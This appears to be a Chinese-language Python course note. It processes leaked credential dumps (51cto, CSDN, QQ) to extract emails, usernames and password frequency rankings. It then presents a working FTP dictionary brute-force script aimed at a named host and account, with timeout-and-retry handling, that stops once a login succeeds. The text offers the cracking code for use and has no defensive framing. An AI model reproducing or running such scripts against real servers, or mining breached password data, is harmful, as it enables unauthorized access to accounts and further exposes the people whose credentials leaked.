复习之前学的
可以看出来这是读取邮箱跟用户,跟之前的方法是一样的
userpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\user.txt"
emailpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\email.txt"
CTOpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\51cto.txt"
readfile=open(CTOpath,"r",errors="ignore")
userfile=open(userpath,"w")
emailfile=open(emailpath,"w")
while True:
line= readfile.readline()
if not line:
break
linelist=line.split(";")
if len(linelist)==3:
if linelist[2].find("@")!=-1:
emailfile.write(linelist[2]) #mail
userlist=linelist[2].split("@")
if len(userlist)==2:
userfile.write(userlist[0]+"\n") #user
else:
pass
#linelist = line.split(" ")#正则表达式
userfile.close()
emailfile.close()
readfile.close()
csdn数据的处理
先是读取全部数据,再对全部数据切割,将切割出来的密码加入列表,再对密码进行排序,看列表的长度,记录密码次数,最后再次排序通过lambda得到密码表的排序
inputpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\csdn.txt"
outputpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\csdnpass.txt"
csdnfile=open(inputpath,"r",errors="ignore")
csdnpassfile=open(outputpath,"w")
alllinelist=csdnfile.readlines()#读取全部
print("全部文本读取完成")
passwordlist=[]
#完成本次循环,加入的都是密码
for line in alllinelist:
linelist=line.split(" # ")
if len(linelist)==3:#切割成功
passwordlist.append(linelist[1])
print("密码提取完成")
passwordlist.sort()
print("密码排序完成")
passwordtimeslist=[]
length=len(passwordlist)#列表长度
i=0
while i<length:#防止越界
times=1 #统计次数
password=passwordlist[i]#记录下密码
while i+1<=length-1 and passwordlist[i]==passwordlist[i+1]:#去除重复
times+=1 #累加次数
i+=1 #继续前进
#print(password,times)
passwordtimeslist.append([password,times])
i=i+1
print("密码提取次数完成")
passwordtimeslist.sort(key=lambda x:x[1]) # x=[4,“369.369”] x[0]=4
passwordtimeslist.reverse()#从大到小
print("密码次数排序完成")
for data in passwordtimeslist:
csdnpassfile.write(data[0]+" # "+str(data[1])+"\n")
print("密码结果写入完成")
csdnfile.close()
csdnpassfile.close()
统计次数
如何统计的呢,我们可以看到有一个列表mylist,通过去重的方式来记录次数,打印出来
mylist=["a","a","a","b","c","c","c","d","e","e","p"]
length=len(mylist)#列表长度
i=0
while i<length:#防止越界
times=1 #统计次数
password=mylist[i]#记录下密码
while i+1<=length-1 and mylist[i]==mylist[i+1]:#去除重复
times+=1 #累加次数
i+=1 #继续前进
print(password,times)
i=i+1
FTP密码破解
跟昨天不同的是,今天会遇到几个异常,登陆太频繁会遇到网络超时的问题。
import ftplib
'''
try:
myftp=ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517","qq123456")
print("密码正确")
except:
print("密码错误")
print("程序执行完成")
'''
try:
myftp = ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517", "qq123456")
print("密码正确")
print("程序执行完成")
except TimeoutError:
print("超时,网络问题")
except ftplib.error_perm:
print("密码错误")
except:
print("其他错误")
'''
myftp = ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517", "qq123456")
'''
#TimeoutError
import ftplib
import time
def checkpassword(password):
try:
myftp=ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517",password)
return "密码正确"+password
except TimeoutError:
print("超时,网络问题")
time.sleep(20)
return "测试超时" + password
except:
return "密码错误" + password
passwordpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3\qqAnd163Password.txt"
passwordfile=open(passwordpath,"r",errors="ignore")
#穷举所有的密码
while True:
line=passwordfile.readline() #读取一行
if not line: #最后一行None退出
break
linelist=line.split(" # ")#切割
passwordstr= linelist[0] #抓取第一个密码
#print(checkpassword(passwordstr)) #显示密码
mystr=checkpassword(passwordstr)
print(mystr)
if mystr.find("密码正确")!=-1: #找到就退出
print("找到正确密码,退出死循环")
break
elif mystr.find("超时")!=-1:
mystr = checkpassword(passwordstr)
if mystr.find("密码正确") != -1: # 找到就退出
print("找到正确密码,退出死循环")
break
passwordfile.close()
QQ数据处理
这个跟csdn不同在于用到了del,将列表删除极大地减少了内存的使用率。
inputpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\1E~001.txt"
outputpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\pass.txt"
csdnfile=open(inputpath,"r",errors="ignore")
csdnpassfile=open(outputpath,"w")
alllinelist=csdnfile.readlines()#读取全部
print("全部文本读取完成")
passwordlist=[]
#完成本次循环,加入的都是密码
for line in alllinelist:
linelist=line.split("----")
if len(linelist)==2:#切割成功
passwordlist.append(linelist[1])
print("密码提取完成")
del alllinelist #用完了回收
passwordlist.sort()
print("密码排序完成")
passwordtimeslist=[]
length=len(passwordlist)#列表长度
i=0
while i<length:#防止越界
times=1 #统计次数
password=passwordlist[i]#记录下密码
while i+1<=length-1 and passwordlist[i]==passwordlist[i+1]:#去除重复
times+=1 #累加次数
i+=1 #继续前进
#print(password,times)
passwordtimeslist.append([password,times])
i=i+1
del passwordlist #回收密码
print("密码提取次数完成")
passwordtimeslist.sort(key=lambda x:x[1]) # x=[4,“369.369”] x[0]=4
passwordtimeslist.reverse()#从大到小
print("密码次数排序完成")
for data in passwordtimeslist:
csdnpassfile.write(str(data[1])+" # "+data[0])
print("密码结果写入完成")
csdnfile.close()
csdnpassfile.close()